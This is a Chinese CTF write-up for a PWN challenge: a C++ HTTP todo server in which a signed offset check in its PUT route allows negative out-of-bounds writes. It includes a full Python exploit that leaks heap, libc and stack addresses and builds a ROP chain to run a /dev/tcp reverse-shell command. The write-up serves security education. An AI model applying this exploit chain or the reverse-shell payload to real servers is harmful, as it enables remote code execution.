第十八届信息安全大赛 && 第二届长城杯 0解PWN题--server解法
字数 1049 2025-08-22 12:22:30

第十八届信息安全大赛 & 第二届长城杯 0解PWN题--server解法详解

题目概述

这是一道来自第十八届信息安全大赛和第二届长城杯的PWN题目,名为"server"。题目只提供了ld和libc文件,但实际运行还需要其他链接库。这道题目在比赛中是0解题目,难度较高。

环境准备

由于题目运行需要额外的链接库,解决方法是通过Docker下载对应的Ubuntu版本,从中提取所需的链接库:

  1. 使用Docker下载对应版本的Ubuntu镜像
  2. 从镜像中提取缺失的链接库文件
  3. 将这些库文件与题目提供的ld和libc一起使用

代码分析

路由功能分析

程序使用C++编写,主要功能是实现了多个HTTP路由:

sub_383A8(v23, sub_AC9B);
sub_2AE40((__int64)v22, (__int64)"/register", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23);  // POST

sub_383A8(v23, sub_B200);
sub_2AE40((__int64)v22, (__int64)"/login", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23);  // POST

sub_383A8(v23, sub_B8F7);
sub_2AE40((__int64)v22, (__int64)"/logout", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23);  // POST

sub_383A8(v23, sub_C2C8);
sub_2AE40((__int64)v22, (__int64)"/todos", (__int64)&v9);
sub_20136((__int64)&unk_D8820, (__int64)v22, (__int64)v23);  // POST

sub_383A8(v23, sub_CBC7);
sub_2AE40((__int64)v22, (__int64)"/todos/(\\d+)", (__int64)&v9);
sub_2006C(&unk_D8820, v22, v23);  // GET

sub_383A8(v23, sub_D15D);
sub_2AE40((__int64)v22, (__int64)"/todos", (__int64)&v9);
sub_2006C(&unk_D8820, v22, v23);  // GET

sub_383A8(v23, sub_D590);
sub_2AE40((__int64)v22, (__int64)"/todos/(\\d+)(?:/(\\d+))?", (__int64)&v9);
sub_20200(&unk_D8820, v22, v23);  // PUT

sub_383A8(v23, sub_DD5E);
sub_2AE40((__int64)v22, (__int64)"/todos/(\\d+)", (__int64)&v9);
sub_202CA(&unk_D8820, v22, v23);  // DELETE

用户认证机制

使用/register/login路由进行用户注册和登录:

# 注册用户
res = response.post(url + "/register", data={"username": 'AAAAA', "password": "123456"})
print(res.text)

# 用户登录
response.post(url + "/login", data={"username": 'AAAAA', "password": "123456"})
print(response.cookies)

Todo功能分析

程序实现了Todo功能,主要数据结构如下:

struct todo {
    char *content;
    int _if_size;
    int size;
    char *todo_author;
};

POST /todos

创建新的Todo项,类似于堆块申请:

res = response.post(url + "/todos", data={"size": 0x80000})

GET /todos/(\d+)

获取指定ID的Todo内容:

res = response.get(url + "/todos/1")

PUT /todos/(\d+)(?:/(\d+))?

修改Todo内容的关键函数,存在漏洞:

sub_29550(qword_D8B60[v13], a1 + 120, v12);

深入分析sub_29550函数:

unsigned __int64 __fastcall sub_29550(__int64 a1, __int64 a2, signed int a3) {
    // ...
    if (a3 >= *(_DWORD *)(a1 + 8)) {
        // 抛出异常
    }
    v9 = *(_DWORD *)(a1 + 8) - a3;
    if (v9 < (unsigned __int64)std::string::size(a2)) {
        // 抛出异常
    }
    dest = (void *)sub_293E4(a1, (unsigned int)a3);
    v5 = std::string::size(a2);
    v6 = (const void *)std::string::c_str(a2);
    memcpy(dest, v6, v5);
    // ...
}

漏洞分析

关键漏洞在于PUT路由的偏移检查:

if (a3 >= *(_DWORD *)(a1 + 8)) {
    // 抛出异常
}

这里a3*(_DWORD *)(a1 + 8)的比较是有符号比较,因此可以传入负数绕过检查,实现向上越界写:

res = response.put(url + "/todos/1/{}".format(str(-0x40 & 0xffffffff)), data=b"\x40")

利用思路

  1. 任意地址写:利用负数偏移漏洞修改Todo的content指针
  2. 信息泄露
    • 泄露堆地址:通过修改content指针后读取Todo内容
    • 泄露libc地址:通过堆布局获取libc地址
  3. 栈地址泄露:利用libc中的environ符号获取栈地址
  4. ROP攻击:在栈上布置ROP链实现任意代码执行

完整利用过程

1. 初始化环境

from pwn import *
import requests

context(arch='i386', os='linux', log_level="debug")
libc = ELF("./libc.so.6")

url = "http://127.0.0.1:9999"
response = requests.session()

2. 用户注册和登录

# 注册用户
res = response.post(url + "/register", data={"username": 'AAAAA', "password": "123456"})

# 用户登录
response.post(url + "/login", data={"username": 'AAAAA', "password": "123456"})

3. 创建Todo项进行堆布局

# 创建大块用于后续泄露libc地址
res = response.post(url + "/todos", data={"size": 0x80000})

# 创建两个小块用于利用
res = response.post(url + "/todos", data={"size": 0x200})
res = response.post(url + "/todos", data={"size": 0x200})

4. 触发漏洞泄露堆地址

# 使用负数偏移修改content指针上方数据
res = response.put(url + "/todos/1/{}".format(str(-0x40 & 0xffffffff)), data=b"\x40")

# 读取修改后的content获取堆地址
res = response.get(url + "/todos/1")
test = res.text
heap = u64(test[len("Todo content: "):].ljust(0x8, "\x00"))

5. 修改content指针泄露libc地址

# 修改content指针指向堆上某个可能包含libc地址的位置
res = response.put(url + "/todos/1/{}".format(str(-0x10 & 0xffffffff)), data=p64(heap - 0x270))

# 读取libc地址
res = response.get(url + "/todos/1")
test = res.text
libc_addr = u64(test[len("Todo content: "):].ljust(0x8, "\x00"))
libc.address = libc_addr + 0x997fff0

6. 泄露栈地址

# 修改content指针指向libc中的environ符号
res = response.put(url + "/todos/1/0", data=p64(libc.sym['environ']))

# 读取栈地址
res = response.get(url + "/todos/0")
test = res.text
stack_addr = u64(test[len("Todo content: "):].ljust(0x8, "\x00")) - 0x300 - 0x30

7. 构造ROP链

# 准备反弹shell命令
res = response.put(url + "/todos/2/0", data=b'bash -c "sh -i >& /dev/tcp/127.0.0.1/2333 0>&1"')

# 查找gadget
pop_rdi = 0x000000000010f75b + libc.address
cmd = heap + 0x270

# 尝试覆盖多个可能的返回地址位置
res = response.put(url + "/todos/1/0", data=p64(libc.address - 0x8ef938))
res = response.put(url + "/todos/0/0", data=p64(pop_rdi + 1) + p64(pop_rdi) + p64(cmd) + p64(libc.sym['system']))

res = response.put(url + "/todos/1/0", data=p64(libc.address - 0xee938))
res = response.put(url + "/todos/0/0", data=p64(pop_rdi + 1) + p64(pop_rdi) + p64(cmd) + p64(libc.sym['system']))

总结

这道题目的关键点在于:

  1. 发现PUT路由中的有符号整数比较漏洞,允许负数偏移
  2. 利用该漏洞修改content指针实现任意地址读写
  3. 通过堆布局泄露libc地址
  4. 利用libc中的environ符号泄露栈地址
  5. 通过多次尝试覆盖可能的返回地址位置实现ROP攻击

由于栈地址的不确定性,利用需要多次尝试不同的偏移,但成功率较高。这种类型的漏洞在现实中的Web应用程序中也值得警惕,特别是当应用程序直接使用数值参数而不进行充分验证时。

第十八届信息安全大赛 & 第二届长城杯 0解PWN题--server解法详解 题目概述 这是一道来自第十八届信息安全大赛和第二届长城杯的PWN题目,名为"server"。题目只提供了ld和libc文件,但实际运行还需要其他链接库。这道题目在比赛中是0解题目,难度较高。 环境准备 由于题目运行需要额外的链接库,解决方法是通过Docker下载对应的Ubuntu版本,从中提取所需的链接库: 使用Docker下载对应版本的Ubuntu镜像 从镜像中提取缺失的链接库文件 将这些库文件与题目提供的ld和libc一起使用 代码分析 路由功能分析 程序使用C++编写,主要功能是实现了多个HTTP路由: 用户认证机制 使用 /register 和 /login 路由进行用户注册和登录: Todo功能分析 程序实现了Todo功能,主要数据结构如下: POST /todos 创建新的Todo项,类似于堆块申请: GET /todos/(\d+) 获取指定ID的Todo内容: PUT /todos/(\d+)(?:/(\d+))? 修改Todo内容的关键函数,存在漏洞: 深入分析 sub_29550 函数: 漏洞分析 关键漏洞在于PUT路由的偏移检查: 这里 a3 和 *(_DWORD *)(a1 + 8) 的比较是有符号比较,因此可以传入负数绕过检查,实现向上越界写: 利用思路 任意地址写 :利用负数偏移漏洞修改Todo的content指针 信息泄露 : 泄露堆地址:通过修改content指针后读取Todo内容 泄露libc地址:通过堆布局获取libc地址 栈地址泄露 :利用libc中的 environ 符号获取栈地址 ROP攻击 :在栈上布置ROP链实现任意代码执行 完整利用过程 1. 初始化环境 2. 用户注册和登录 3. 创建Todo项进行堆布局 4. 触发漏洞泄露堆地址 5. 修改content指针泄露libc地址 6. 泄露栈地址 7. 构造ROP链 总结 这道题目的关键点在于: 发现PUT路由中的有符号整数比较漏洞,允许负数偏移 利用该漏洞修改content指针实现任意地址读写 通过堆布局泄露libc地址 利用libc中的 environ 符号泄露栈地址 通过多次尝试覆盖可能的返回地址位置实现ROP攻击 由于栈地址的不确定性,利用需要多次尝试不同的偏移,但成功率较高。这种类型的漏洞在现实中的Web应用程序中也值得警惕,特别是当应用程序直接使用数值参数而不进行充分验证时。